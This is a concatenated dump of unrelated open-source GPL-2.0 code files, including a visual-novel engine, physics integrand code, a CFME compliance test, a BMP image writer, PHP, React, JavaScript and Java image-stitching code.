button->image_rect.x = sentence_font_info.pos.x
+ sentence_font_info.pos.w
- button->anim[0]->pos.w;
button->image_rect.y = sentence_font_info.pos.y
+ sentence_font_info.pos.h
- button->anim[0]->pos.h;
button->image_rect.w = button->anim[0]->pos.w;
button->image_rect.h = button->anim[0]->pos.h;
button->anim[0]->pos.x = button->anim[1]->pos.x = button->image_rect.x;
button->anim[0]->pos.y = button->anim[1]->pos.y = button->image_rect.y;
}
}
else if (lookback_sp[1] >= 0) {
sprite_info[lookback_sp[1]].visible(false);
}
}
void PonscripterLabel::executeSystemLookback()
{
current_font = &sentence_font;
if (event_mode & WAIT_BUTTON_MODE) {
if (current_button_state.button == 0
|| (current_text_buffer == start_text_buffer
&& current_button_state.button == -2))
return;
if (current_button_state.button == -1
|| (current_button_state.button == -3
&& current_text_buffer->next == cached_text_buffer)
|| current_button_state.button <= -4) {
event_mode = IDLE_EVENT_MODE;
deleteButtons();
if (lookback_sp[0] >= 0)
sprite_info[lookback_sp[0]].visible(false);
if (lookback_sp[1] >= 0)
sprite_info[lookback_sp[1]].visible(false);
leaveSystemCall();
return;
}
if (current_button_state.button == 1
|| current_button_state.button == -2) {
current_text_buffer = current_text_buffer->previous;
}
else
current_text_buffer = current_text_buffer->next;
}
else {
current_text_buffer = current_text_buffer->previous;
if (current_text_buffer->empty()) {
if (lookback_sp[0] >= 0)
sprite_info[lookback_sp[0]].visible(false);
if (lookback_sp[1] >= 0)
sprite_info[lookback_sp[1]].visible(false);
leaveSystemCall();
return;
}
event_mode = WAIT_BUTTON_MODE;
system_menu_mode = SYSTEM_LOOKBACK;
}
setupLookbackButton();
refreshMouseOverButton();
rgb_t color = sentence_font.color;
sentence_font.color = lookback_color;
restoreTextBuffer();
sentence_font.color = color;
dirty_rect.fill(screen_width, screen_height);
flush(refreshMode());
}
| gpl-2.0 |
jonaslindert/susyhell | common/FeynHiggs-2.10.1/extse/OasatPdep.app/SecDec3/loop/T1234m1110/together/epstothe0/f6.cc | 2246 | #include "intfile.hh"
dcmplx Pf6(const double x[], double es[], double esx[], double em[], double lambda, double lrs[], double bi) {
double x0=x[0];
double x1=x[1];
double x2=x[2];
dcmplx y[62];
dcmplx FOUT;
dcmplx MYI(0.,1.);
y[1]=1./bi;
y[2]=em[0];
y[3]=2.*x0*y[1]*y[2];
y[4]=2.*x0*x1*y[1]*y[2];
y[5]=esx[0];
y[6]=-x1;
y[7]=1.+y[6];
y[8]=x0*x0;
y[9]=y[1]*y[2]*y[8];
y[10]=-(x0*y[1]*y[5]);
y[11]=y[3]+y[4]+y[9]+y[10];
y[12]=-x0;
y[13]=1.+y[12];
y[14]=2.*y[1]*y[2];
y[15]=2.*x2*y[1]*y[2];
y[16]=2.*x1*x2*y[1]*y[2];
y[17]=lrs[0];
y[18]=2.*x1*y[1]*y[2];
y[19]=2.*x0*x2*y[1]*y[2];
y[20]=x1*x1;
y[21]=x2*y[1]*y[2];
y[22]=2.*x0*x1*x2*y[1]*y[2];
y[23]=x2*y[1]*y[2]*y[20];
y[24]=-(y[1]*y[5]);
y[25]=-(x1*x2*y[1]*y[5]);
y[26]=y[3]+y[14]+y[16]+y[18]+y[19]+y[21]+y[22]+y[23]+y[24]+y[25];
y[27]=lrs[1];
y[28]=-x2;
y[29]=1.+y[28];
y[30]=y[1]*y[2];
y[31]=y[1]*y[2]*y[20];
y[32]=-(x1*y[1]*y[5]);
y[33]=y[3]+y[4]+y[18]+y[30]+y[31]+y[32];
y[34]=lambda*lambda;
y[35]=-(x2*y[1]*y[5]);
y[36]=y[14]+y[15]+y[16]+y[19]+y[35];
y[37]=x2*y[1]*y[2]*y[8];
y[38]=-(x0*x2*y[1]*y[5]);
y[39]=y[3]+y[14]+y[18]+y[19]+y[22]+y[24]+y[37]+y[38];
y[40]=lrs[2];
y[41]=y[14]+y[15]+y[16];
y[42]=-(lambda*MYI*x0*y[13]*y[17]*y[41]);
y[43]=-(lambda*MYI*y[13]*y[17]*y[26]);
y[44]=lambda*MYI*x0*y[17]*y[26];
y[45]=1.+y[42]+y[43]+y[44];
y[46]=y[14]+y[19];
y[47]=-(lambda*MYI*x1*y[7]*y[27]*y[46]);
y[48]=-(lambda*MYI*y[7]*y[27]*y[39]);
y[49]=lambda*MYI*x1*y[27]*y[39];
y[50]=1.+y[47]+y[48]+y[49];
y[51]=x0*y[1]*y[2];
y[52]=x1*y[1]*y[2]*y[8];
y[53]=x0*y[1]*y[2]*y[20];
y[54]=-(x0*x1*y[1]*y[5]);
y[55]=y[4]+y[9]+y[51]+y[52]+y[53]+y[54];
y[56]=-(lambda*MYI*x0*y[13]*y[17]*y[26]);
y[57]=x0+y[56];
y[58]=-(lambda*MYI*x1*y[7]*y[27]*y[39]);
y[59]=x1+y[58];
y[60]=-(lambda*MYI*x2*y[29]*y[40]*y[55]);
y[61]=x2+y[60];
FOUT=pow(bi,-2)*pow(y[1]+y[1]*y[57]+y[1]*y[59]+y[1]*y[57]*y[61]+y[1]*y[57]*y\
[59]*y[61],-2)*(lambda*MYI*x2*y[11]*y[29]*y[40]*(x0*x1*y[7]*y[13]*y[17]*y[2\
7]*y[33]*y[34]*y[36]-lambda*MYI*x1*y[7]*y[11]*y[27]*y[45])-lambda*MYI*x2*y[\
29]*y[33]*y[40]*(-(x0*x1*y[7]*y[11]*y[13]*y[17]*y[27]*y[34]*y[36])+lambda*M\
YI*x0*y[13]*y[17]*y[33]*y[50])+(x0*x1*pow(y[36],2)*y[7]*y[13]*y[17]*y[27]*y\
[34]+y[45]*y[50])*(1.+lambda*MYI*x2*y[40]*y[55]-lambda*MYI*y[29]*y[40]*y[55\
]));
return (FOUT);
}
| gpl-2.0 |
psav/cfme_tests | cfme/tests/control/test_compliance.py | 7064 | # -*- coding: utf-8 -*-
import diaper
import fauxfactory
import pytest
from cfme import test_requirements
from cfme.common.vm import VM
from cfme.configure.configuration.analysis_profile import AnalysisProfile
from cfme.control.explorer.conditions import VMCondition
from cfme.control.explorer.policies import HostCompliancePolicy, VMCompliancePolicy
from cfme.infrastructure.provider.virtualcenter import VMwareProvider
from cfme.utils import conf
from cfme.utils.blockers import BZ
from cfme.utils.hosts import setup_providers_hosts_credentials
from cfme.utils.update import update
from . import do_scan
pytestmark = [
pytest.mark.ignore_stream("upstream"),
pytest.mark.meta(server_roles=["+automate", "+smartstate", "+smartproxy"]),
pytest.mark.tier(3),
test_requirements.control,
pytest.mark.provider([VMwareProvider], scope='module'),
]
@pytest.fixture(scope="module")
def policy_profile_collection(appliance):
return appliance.collections.policy_profiles
@pytest.fixture(scope="module")
def policy_collection(appliance):
return appliance.collections.policies
@pytest.fixture(scope="module")
def condition_collection(appliance):
return appliance.collections.conditions
@pytest.fixture
def policy_name():
return "compliance_testing: policy {}".format(fauxfactory.gen_alphanumeric(8))
@pytest.fixture
def policy_profile_name():
return "compliance_testing: policy profile {}".format(fauxfactory.gen_alphanumeric(8))
@pytest.fixture
def host(provider, setup_provider):
return provider.hosts[0]
@pytest.fixture
def policy_for_testing(policy_name, policy_profile_name, provider, policy_collection,
policy_profile_collection):
policy = policy_collection.create(HostCompliancePolicy, policy_name)
policy_profile = policy_profile_collection.create(policy_profile_name, policies=[policy])
yield policy
policy_profile.delete()
policy.delete()
@pytest.fixture
def assign_policy_for_testing(policy_for_testing, host, policy_profile_name):
host.assign_policy_profiles(policy_profile_name)
yield policy_for_testing
host.unassign_policy_profiles(policy_profile_name)
@pytest.fixture(scope="module")
def vddk_url(provider):
try:
major, minor = str(provider.version).split(".")
except ValueError:
major = str(provider.version)
minor = 0
vddk_version = "v{}_{}".format(major, minor)
try:
return conf.cfme_data.get("basic_info").get("vddk_url").get(vddk_version)
except AttributeError:
pytest.skip("There is no vddk url for this VMware provider version")
@pytest.fixture(scope="module")
def configure_fleecing(appliance, provider, setup_provider_modscope, vddk_url):
setup_providers_hosts_credentials(provider)
appliance.install_vddk(vddk_url=vddk_url)
yield
appliance.uninstall_vddk()
@pytest.fixture(scope="module")
def compliance_vm(configure_fleecing, provider, full_template_modscope):
name = "{}-{}".format("test-compliance", fauxfactory.gen_alpha(4))
vm = VM.factory(name, provider, template_name=full_template_modscope.name)
vm.create_on_provider(allow_skip="default")
provider.mgmt.start_vm(vm.name)
provider.mgmt.wait_vm_running(vm.name)
if not vm.exists:
vm.wait_to_appear(timeout=900)
yield vm
vm.cleanup_on_provider()
provider.refresh_provider_relationships()
@pytest.fixture(scope="module")
def analysis_profile():
ap = AnalysisProfile(
name="default",
description="ap-desc",
profile_type=AnalysisProfile.VM_TYPE,
categories=["Services", "User Accounts", "Software", "VM Configuration", "System"]
)
if ap.exists:
ap.delete()
ap.create()
yield ap
ap.delete()
def test_check_package_presence(request, compliance_vm, analysis_profile, policy_collection,
policy_profile_collection, condition_collection):
"""This test checks compliance by presence of a certain "kernel" package which is expected
to be present on the full_template."""
condition = condition_collection.create(
VMCondition,
"Compliance testing condition {}".format(fauxfactory.gen_alphanumeric(8)),
expression=("fill_find(field=VM and Instance.Guest Applications : Name, "
"skey=STARTS WITH, value=kernel, check=Check Count, ckey= = , cvalue=1)")
)
request.addfinalizer(lambda: diaper(condition.delete))
policy = policy_collection.create(
VMCompliancePolicy,
"Compliance {}".format(fauxfactory.gen_alphanumeric(8))
)
request.addfinalizer(lambda: diaper(policy.delete))
policy.assign_conditions(condition)
profile = policy_profile_collection.create(
"Compliance PP {}".format(fauxfactory.gen_alphanumeric(8)),
policies=[policy]
)
request.addfinalizer(lambda: diaper(profile.delete))
compliance_vm.assign_policy_profiles(profile.description)
request.addfinalizer(lambda: compliance_vm.unassign_policy_profiles(profile.description))
do_scan(compliance_vm)
compliance_vm.check_compliance()
assert compliance_vm.compliant
def test_check_files(request, compliance_vm, analysis_profile, condition_collection,
policy_collection, policy_profile_collection):
"""This test checks presence and contents of a certain file. Due to caching, an existing file
is checked.
"""
check_file_name = "/etc/hosts"
check_file_contents = "127.0.0.1"
condition = condition_collection.create(
VMCondition,
"Compliance testing condition {}".format(fauxfactory.gen_alphanumeric(8)),
expression=("fill_find(VM and Instance.Files : Name, "
"=, {}, Check Any, Contents, INCLUDES, {})".format(
check_file_name, check_file_contents))
)
request.addfinalizer(lambda: diaper(condition.delete))
policy = policy_collection.create(
VMCompliancePolicy,
"Compliance {}".format(fauxfactory.gen_alphanumeric(8))
)
request.addfinalizer(lambda: diaper(policy.delete))
policy.assign_conditions(condition)
profile = policy_profile_collection.create(
"Compliance PP {}".format(fauxfactory.gen_alphanumeric(8)),
policies=[policy]
)
request.addfinalizer(lambda: diaper(profile.delete))
compliance_vm.assign_policy_profiles(profile.description)
request.addfinalizer(lambda: compliance_vm.unassign_policy_profiles(profile.description))
with update(analysis_profile):
analysis_profile.files = [{"Name": check_file_name, "Collect Contents?": True}]
do_scan(compliance_vm, ("Configuration", "Files"))
compliance_vm.check_compliance()
assert compliance_vm.compliant
@pytest.mark.uncollectif(lambda: BZ(1491576, forced_streams=['5.7']).blocks, 'BZ 1491576')
def test_compliance_with_unconditional_policy(host, assign_policy_for_testing):
assign_policy_for_testing.assign_actions_to_event(
"Host Compliance Check",
{"Mark as Non-Compliant": True}
)
host.check_compliance()
assert not host.is_compliant
| gpl-2.0 |
GaryTheBrown/OpenSettlers | src/Functions/Image/Files/BMPv4.cpp | 5977 | /*******************************************************************************
* Open Settlers - A Game Engine to run the Settlers 1-4
* Copyright (C) 2016 Gary The Brown
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; ONLY version 2
* of the License.
*******************************************************************************/
#include "../FileImage.h"
void Functions::FileImage::SaveToRGBBMPv4(std::string filename, RGBA* imageRGBA, unsigned short width, unsigned short height){
// mimeType = "image/bmp";
unsigned char file[14] = {
'B','M', // magic
0,0,0,0, // size in bytes
0,0, // app data xRel for us
0,0, // app data yRel for us
122,0,0,0 // start of data offset
};
unsigned char info[108] = {
0x6C,0x00,0x00,0x00, //108 bytes Number of bytes in the DIB header (from this point)
0x00,0x00,0x00,0x00, //4 pixels (left to right order) Width of the bitmap in pixels
0x00,0x00,0x00,0x00, //2 pixels (bottom to top order) Height of the bitmap in pixels
0x01,0x00, //1 plane Number of color planes being used
0x20,0x00, //32 bits Number of bits per pixel
0x03,0x00,0x00,0x00, //3 Compression used (BI_BITFIELDS)
0x00,0x00,0x00,0x00, //0 Size of the raw bitmap data (including padding)
0x00,0x00,0x00,0x00, //2835 pixels/meter horizontal Print resolution of the image,72 DPI × 39.3701 inches per meter yields 2834.6472
0x00,0x00,0x00,0x00, //2835 pixels/meter vertical
0x00,0x00,0x00,0x00, //0 colors Number of colors in the palette
0x00,0x00,0x00,0x00, //0 important colors 0 means all colors are important
0x00,0x00,0xFF,0x00, //00FF0000 in big-endian Red channel bit mask (valid because BI_BITFIELDS is specified)
0x00,0xFF,0x00,0x00, //0000FF00 in big-endian Green channel bit mask (valid because BI_BITFIELDS is specified)
0xFF,0x00,0x00,0x00, //000000FF in big-endian Blue channel bit mask (valid because BI_BITFIELDS is specified)
0x00,0x00,0x00,0xFF, //FF000000 in big-endian Alpha channel bit mask
0x00,0x00,0x00,0x00, // COLOR SPACE
0x00,0x00,0x00,0x00, // X coordinate of red endpoint
0x00,0x00,0x00,0x00, // Y coordinate of red endpoint
0x00,0x00,0x00,0x00, // Z coordinate of red endpoint
0x00,0x00,0x00,0x00, // X coordinate of green endpoint
0x00,0x00,0x00,0x00, // Y coordinate of green endpoint
0x00,0x00,0x00,0x00, // Z coordinate of green endpoint
0x00,0x00,0x00,0x00, // X coordinate of blue endpoint
0x00,0x00,0x00,0x00, // Y coordinate of blue endpoint
0x00,0x00,0x00,0x00, // Z coordinate of blue endpoint
0x00,0x00,0x00,0x00, // Gamma red coordinate scale value
0x00,0x00,0x00,0x00, // Gamma green coordinate scale value
0x00,0x00,0x00,0x00 // Gamma blue coordinate scale value
};
int sizeData = width*height*4;
int sizeAll = sizeData + sizeof(file) + sizeof(info);
file[2] = (unsigned char)(sizeAll) & 0xFF;
file[3] = (unsigned char)(sizeAll>> 8) & 0xFF;
file[4] = (unsigned char)(sizeAll>>16) & 0xFF;
file[5] = (unsigned char)(sizeAll>>24) & 0xFF;
info[4] = (unsigned char)(width) & 0xFF;
info[5] = (unsigned char)(width>> 8) & 0xFF;
info[6] = (unsigned char)(width>>16) & 0xFF;
info[7] = (unsigned char)(width>>24) & 0xFF;
info[8] = (unsigned char)(height) & 0xFF;
info[9] = (unsigned char)(height>> 8) & 0xFF;
info[10] = (unsigned char)(height>>16) & 0xFF;
info[11] = (unsigned char)(height>>24) & 0xFF;
//Check File Doesn't Exist if it does delete it
if(FileExists(filename))
remove(filename.c_str());
std::ofstream ofile;
//open the ofile
ofile.open(filename.c_str(),std::ios::binary);
//Write Header Info To File
ofile.write((char*)file, sizeof(file));
ofile.write((char*)info, sizeof(info));
//Write Pixel Data To File (bottom to top)
int pixel = 0;
for (unsigned short y=height; y>0; y-- ){
for (unsigned short x=0; x<width; x++ ){
pixel = ((y - 1) * width) + x;
unsigned char outPixel[4];
outPixel[0] = imageRGBA[pixel].B; //Red
outPixel[1] = imageRGBA[pixel].G; //Green
outPixel[2] = imageRGBA[pixel].R; //Blue
outPixel[3] = imageRGBA[pixel].A; //Alpha
ofile.write((char*)outPixel,4);
}
}
//Close The File
ofile.close();
}
RGBA* Functions::FileImage::LoadBMPv4ToRGBA(DataReader* reader, unsigned short* width, unsigned short* height, unsigned int dataOffset){
*width = (reader->ReadInt() & 0xFFFF);
*height = (reader->ReadInt() & 0xFFFF);
reader->MoveOffset(2);
int bitsPerPixel = reader->ReadShort();
reader->MoveOffset(92);
char padding = ((bitsPerPixel/8) * (*width))%4;
RGBA* imageRGBA = new RGBA[(*height)*(*width)];
RGBA palette[256];
if (bitsPerPixel == 8){
//Read Palette
for (int i = 0; i < 256; i++){
palette[i].B = reader->ReadChar();
palette[i].G = reader->ReadChar();
palette[i].R = reader->ReadChar();
palette[i].A = 255;
reader->ReadChar();
}
}
reader->SetOffset(dataOffset);
int pixel = 0;
for (unsigned short y=(*height); y>0; y-- ){
for (unsigned short x=0; x<(*width); x++ ){
pixel = ((y - 1) * (*width)) + x;
if (bitsPerPixel == 8){
unsigned char singlePixel = reader->ReadChar();
imageRGBA[pixel].B = palette[singlePixel].B;
imageRGBA[pixel].G = palette[singlePixel].G;
imageRGBA[pixel].R = palette[singlePixel].R;
imageRGBA[pixel].A = palette[singlePixel].A;
}
if (bitsPerPixel == 24){
imageRGBA[pixel].B = reader->ReadChar();
imageRGBA[pixel].G = reader->ReadChar();
imageRGBA[pixel].R = reader->ReadChar();
imageRGBA[pixel].A = 255;
}
if (bitsPerPixel == 32){
imageRGBA[pixel].B = reader->ReadChar();
imageRGBA[pixel].G = reader->ReadChar();
imageRGBA[pixel].R = reader->ReadChar();
imageRGBA[pixel].A = reader->ReadChar();
}
//check padding and skip it.
for (char i=0; i<padding; i++)
reader->ReadChar();
}
}
reader->~DataReader();
return imageRGBA;
}
| gpl-2.0 |
ravi-cnetric/cnetric_cm | administrator/components/com_salespro/classes/core/salesProCookieVars.class.php | 1526 | <?php
/* -------------------------------------------
Component: com_salesPro
Author: Barnaby V. Dixon
Email: barnaby@php-web-design.com
Copywrite: Copywrite (C) 2014 Barnaby Dixon. All Rights Reserved.
License: http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
---------------------------------------------*/
defined('_JEXEC') or die('Restricted access');
class salesProCookieVars extends salesPro {
public $_cookie = '';
public $_timeout = 3600;
public $_table = '#__spr_cookie_vars';
public $_vars = array(
'id' => array('int', 11),
'cookie' => array('string', 16),
'name' => array('string', 20),
'value' => array('string', 255)
);
function __construct() {
parent::__construct();
}
public function getCookieVar($cookie, $name) {
$value = $this->db->getResult($this->_table, 'value', array('cookie' => $cookie, 'name' => $name));
return $value;
}
public function setCookieVar($cookie, $name, $value) {
$id = 0;
$data = array('cookie' => $cookie, 'name' => $name, 'value' => $value);
$id = (int)$this->db->getResult($this->_table, 'id', array('cookie' => $cookie, 'name' => $name));
$this->saveData($id, $data);
}
public function delCookieVar($cookie, $name) {
$this->db->deleteData($this->_table, array('cookie' => $cookie, 'name' => $name));
}
public function delAllCookieVars($cookie) {
$this->db->deleteData($this->_table, array('cookie' => $cookie));
}
}
| gpl-2.0 |
gios/hashline | src/components/discussion/DiscussionPasswordModal.js | 1616 | import React, { Component } from 'react'
import { DropModal } from 'boron'
class DiscussionPasswordModal extends Component {
discussionPasswordSubmit(e) {
e.preventDefault()
let { discussionId } = this.props
this.props.onJoinDiscussion({ id: discussionId, password: this.refs.passwordRef.value, store: this.refs.savePassword.checked })
}
render() {
return (
<DropModal ref='privateDiscussionModal'
closeOnClick={false}
keyboard={false}
className='text-xs-center'>
<div className='modal-header'>
<h4 className='modal-title'>This discussion is protected </h4>
</div>
<form onSubmit={this.discussionPasswordSubmit.bind(this)}>
<div className='modal-body'>
<small className='text-muted'>This discussion is protected, please enter appropriate password.</small>
<input autoFocus type='password' className='form-control' placeholder='Password' ref='passwordRef'></input>
<div className='checkbox text-xs-left'>
<label>
<input ref='savePassword' type='checkbox'/><small className='text-muted'>Save password for this tab</small>
</label>
</div>
</div>
<div className='modal-footer'>
<button type='submit' className='btn btn-success'>Apply</button>
<button onClick={() => this.props.redirectToBase()} type='button' className='btn btn-primary'>To Dash</button>
</div>
</form>
</DropModal>
)
}
}
export default DiscussionPasswordModal
| gpl-2.0 |
jcleyba/catema | sites/all/modules/elfinder/editors/yui/yui.callback.js | 229 | // $Id$
function elfinder_yui_callback(url) {
var editorId = window.opener.Drupal.wysiwyg.activeId;
window.opener.jQuery('input#' + editorId + '_insertimage_url').val(url);
window.close();
}
| gpl-2.0 |
mtbc/bioformats | components/bio-formats/src/loci/formats/TileStitcher.java | 9307 | /*
* #%L
* OME Bio-Formats package for reading and converting biological file formats.
* %%
* Copyright (C) 2005 - 2012 Open Microscopy Environment:
* - Board of Regents of the University of Wisconsin-Madison
* - Glencoe Software, Inc.
* - University of Dundee
* %%
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public
* License along with this program. If not, see
* <http://www.gnu.org/licenses/gpl-2.0.html>.
* #L%
*/
package loci.formats;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import loci.common.DataTools;
import loci.common.Region;
import loci.formats.meta.IMetadata;
import loci.formats.meta.MetadataStore;
/**
*
* <dl><dt><b>Source code:</b></dt>
* <dd><a href="http://trac.openmicroscopy.org.uk/ome/browser/bioformats.git/components/bio-formats/src/loci/formats/TileStitcher.java">Trac</a>,
* <a href="http://git.openmicroscopy.org/?p=bioformats.git;a=blob;f=components/bio-formats/src/loci/formats/TileStitcher.java;hb=HEAD">Gitweb</a></dd></dl>
*/
public class TileStitcher extends ReaderWrapper {
// -- Fields --
private int tileX = 0;
private int tileY = 0;
private Integer[][] tileMap;
// -- Utility methods --
/** Converts the given reader into a TileStitcher, wrapping if needed. */
public static TileStitcher makeTileStitcher(IFormatReader r) {
if (r instanceof TileStitcher) return (TileStitcher) r;
return new TileStitcher(r);
}
// -- Constructor --
/** Constructs a TileStitcher around a new image reader. */
public TileStitcher() { super(); }
/** Constructs a TileStitcher with the given reader. */
public TileStitcher(IFormatReader r) { super(r); }
// -- IFormatReader API methods --
/* @see IFormatReader#getSizeX() */
public int getSizeX() {
return reader.getSizeX() * tileX;
}
/* @see IFormatReader#getSizeY() */
public int getSizeY() {
return reader.getSizeY() * tileY;
}
/* @see IFormatReader#getSeriesCount() */
public int getSeriesCount() {
if (tileX == 1 && tileY == 1) {
return reader.getSeriesCount();
}
return 1;
}
/* @see IFormatReader#openBytes(int) */
public byte[] openBytes(int no) throws FormatException, IOException {
return openBytes(no, 0, 0, getSizeX(), getSizeY());
}
/* @see IFormatReader#openBytes(int, byte[]) */
public byte[] openBytes(int no, byte[] buf)
throws FormatException, IOException
{
return openBytes(no , buf, 0, 0, getSizeX(), getSizeY());
}
/* @see IFormatReader#openBytes(int, int, int, int, int) */
public byte[] openBytes(int no, int x, int y, int w, int h)
throws FormatException, IOException
{
int bpp = FormatTools.getBytesPerPixel(getPixelType());
int ch = getRGBChannelCount();
byte[] newBuffer = DataTools.allocate(w, h, ch, bpp);
return openBytes(no, newBuffer, x, y, w, h);
}
/* @see IFormatReader#openBytes(int, byte[], int, int, int, int) */
public byte[] openBytes(int no, byte[] buf, int x, int y, int w, int h)
throws FormatException, IOException
{
FormatTools.assertId(getCurrentFile(), true, 2);
if (tileX == 1 && tileY == 1) {
return super.openBytes(no, buf, x, y, w, h);
}
byte[] tileBuf = new byte[buf.length / tileX * tileY];
int tw = reader.getSizeX();
int th = reader.getSizeY();
Region image = new Region(x, y, w, h);
int pixelType = getPixelType();
int pixel = getRGBChannelCount() * FormatTools.getBytesPerPixel(pixelType);
int outputRowLen = w * pixel;
int outputRow = 0, outputCol = 0;
Region intersection = null;
for (int ty=0; ty<tileY; ty++) {
for (int tx=0; tx<tileX; tx++) {
Region tile = new Region(tx * tw, ty * th, tw, th);
if (!tile.intersects(image)) {
continue;
}
intersection = tile.intersection(image);
int rowLen = pixel * (int) Math.min(intersection.width, tw);
if (tileMap[ty][tx] == null) {
outputCol += rowLen;
continue;
}
reader.setSeries(tileMap[ty][tx]);
reader.openBytes(no, tileBuf, 0, 0, tw, th);
int outputOffset = outputRowLen * outputRow + outputCol;
for (int row=0; row<intersection.height; row++) {
int realRow = row + intersection.y - tile.y;
int inputOffset = pixel * (realRow * tw + tx);
System.arraycopy(tileBuf, inputOffset, buf, outputOffset, rowLen);
outputOffset += outputRowLen;
}
outputCol += rowLen;
}
if (intersection != null) {
outputRow += intersection.height;
outputCol = 0;
}
}
return buf;
}
/* @see IFormatReader#setId(String) */
public void setId(String id) throws FormatException, IOException {
super.setId(id);
MetadataStore store = getMetadataStore();
if (!(store instanceof IMetadata) || reader.getSeriesCount() == 1) {
tileX = 1;
tileY = 1;
return;
}
IMetadata meta = (IMetadata) store;
// don't even think about stitching HCS data, as it quickly gets complicated
//
// it might be worth improving this in the future so that fields are
// stitched, but plates/wells are left alone, but for now it is easy
// enough to just ignore HCS data
if (meta.getPlateCount() > 1 ||
(meta.getPlateCount() == 1 && meta.getWellCount(0) > 1))
{
tileX = 1;
tileY = 1;
return;
}
// now make sure that all of the series have the same dimensions
boolean equalDimensions = true;
for (int i=1; i<meta.getImageCount(); i++) {
if (!meta.getPixelsSizeX(i).equals(meta.getPixelsSizeX(0))) {
equalDimensions = false;
}
if (!meta.getPixelsSizeY(i).equals(meta.getPixelsSizeY(0))) {
equalDimensions = false;
}
if (!meta.getPixelsSizeZ(i).equals(meta.getPixelsSizeZ(0))) {
equalDimensions = false;
}
if (!meta.getPixelsSizeC(i).equals(meta.getPixelsSizeC(0))) {
equalDimensions = false;
}
if (!meta.getPixelsSizeT(i).equals(meta.getPixelsSizeT(0))) {
equalDimensions = false;
}
if (!meta.getPixelsType(i).equals(meta.getPixelsType(0))) {
equalDimensions = false;
}
if (!equalDimensions) break;
}
if (!equalDimensions) {
tileX = 1;
tileY = 1;
return;
}
ArrayList<TileCoordinate> tiles = new ArrayList<TileCoordinate>();
ArrayList<Double> uniqueX = new ArrayList<Double>();
ArrayList<Double> uniqueY = new ArrayList<Double>();
boolean equalZs = true;
Double firstZ = meta.getPlanePositionZ(0, meta.getPlaneCount(0) - 1);
for (int i=0; i<reader.getSeriesCount(); i++) {
TileCoordinate coord = new TileCoordinate();
coord.x = meta.getPlanePositionX(i, meta.getPlaneCount(i) - 1);
coord.y = meta.getPlanePositionY(i, meta.getPlaneCount(i) - 1);
tiles.add(coord);
if (coord.x != null && !uniqueX.contains(coord.x)) {
uniqueX.add(coord.x);
}
if (coord.y != null && !uniqueY.contains(coord.y)) {
uniqueY.add(coord.y);
}
Double zPos = meta.getPlanePositionZ(i, meta.getPlaneCount(i) - 1);
if (firstZ == null) {
if (zPos != null) {
equalZs = false;
}
}
else {
if (!firstZ.equals(zPos)) {
equalZs = false;
}
}
}
tileX = uniqueX.size();
tileY = uniqueY.size();
if (!equalZs) {
tileX = 1;
tileY = 1;
return;
}
tileMap = new Integer[tileY][tileX];
Double[] xCoordinates = uniqueX.toArray(new Double[tileX]);
Arrays.sort(xCoordinates);
Double[] yCoordinates = uniqueY.toArray(new Double[tileY]);
Arrays.sort(yCoordinates);
for (int row=0; row<tileMap.length; row++) {
for (int col=0; col<tileMap[row].length; col++) {
TileCoordinate coordinate = new TileCoordinate();
coordinate.x = xCoordinates[col];
coordinate.y = yCoordinates[row];
for (int tile=0; tile<tiles.size(); tile++) {
if (tiles.get(tile).equals(coordinate)) {
tileMap[row][col] = tile;
}
}
}
}
}
// -- IFormatHandler API methods --
/* @see IFormatHandler#getNativeDataType() */
public Class<?> getNativeDataType() {
return byte[].class;
}
// -- Helper classes --
class TileCoordinate {
public Double x;
public Double y;
public boolean equals(Object o) {
if (!(o instanceof TileCoordinate)) {
return false;
}
TileCoordinate tile = (TileCoordinate) o;
boolean xEqual = x == null ? tile.x == null : x.equals(tile.x);
boolean yEqual = y == null ? tile.y == null : y.equals(tile.y);
return xEqual && yEqual;
}
}
}
| gpl-2.0 |
gafenn08/ttadsoftware | sites/all/themes/zoundation/STARTERKIT/javascripts/foundation/app.js | 1818 | (function ($, window, undefined) {
'use strict';
var $doc = $(document),
Modernizr = window.Modernizr;
$(document).ready(function() {
$.fn.foundationAlerts ? $doc.foundationAlerts() : null;
$.fn.foundationButtons ? $doc.foundationButtons() : null;
$.fn.foundationAccordion ? $doc.foundationAccordion() : null;
$.fn.foundationNavigation ? $doc.foundationNavigation() : null;
$.fn.foundationTopBar ? $doc.foundationTopBar() : null;
$.fn.foundationCustomForms ? $doc.foundationCustomForms() : null;
$.fn.foundationMediaQueryViewer ? $doc.foundationMediaQueryViewer() : null;
$.fn.foundationTabs ? $doc.foundationTabs({callback : $.foundation.customForms.appendCustomMarkup}) : null;
$.fn.foundationTooltips ? $doc.foundationTooltips() : null;
// UNCOMMENT IF YOU WANT TO USE MAGELLAN OR CLEARING
// $.fn.foundationMagellan ? $doc.foundationMagellan() : null;
// $.fn.foundationClearing ? $doc.foundationClearing() : null;
$.fn.placeholder ? $('input, textarea').placeholder() : null;
});
// UNCOMMENT THE LINE YOU WANT BELOW IF YOU WANT IE8 SUPPORT AND ARE USING .block-grids
// $('.block-grid.two-up>li:nth-child(2n+1)').css({clear: 'both'});
// $('.block-grid.three-up>li:nth-child(3n+1)').css({clear: 'both'});
// $('.block-grid.four-up>li:nth-child(4n+1)').css({clear: 'both'});
// $('.block-grid.five-up>li:nth-child(5n+1)').css({clear: 'both'});
// Hide address bar on mobile devices (except if #hash present, so we don't mess up deep linking).
if (Modernizr.touch && !window.location.hash) {
$(window).load(function () {
setTimeout(function () {
window.scrollTo(0, 1);
}, 0);
});
}
})(jQuery, this); | gpl-2.0 |
ntj/ComplexRapidMiner | operator/preprocessing/filter/FeatureNameFilter.java | 5243 | /*
* RapidMiner
*
* Copyright (C) 2001-2008 by Rapid-I and the contributors
*
* Complete list of developers available at our web site:
*
* http://rapid-i.com
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
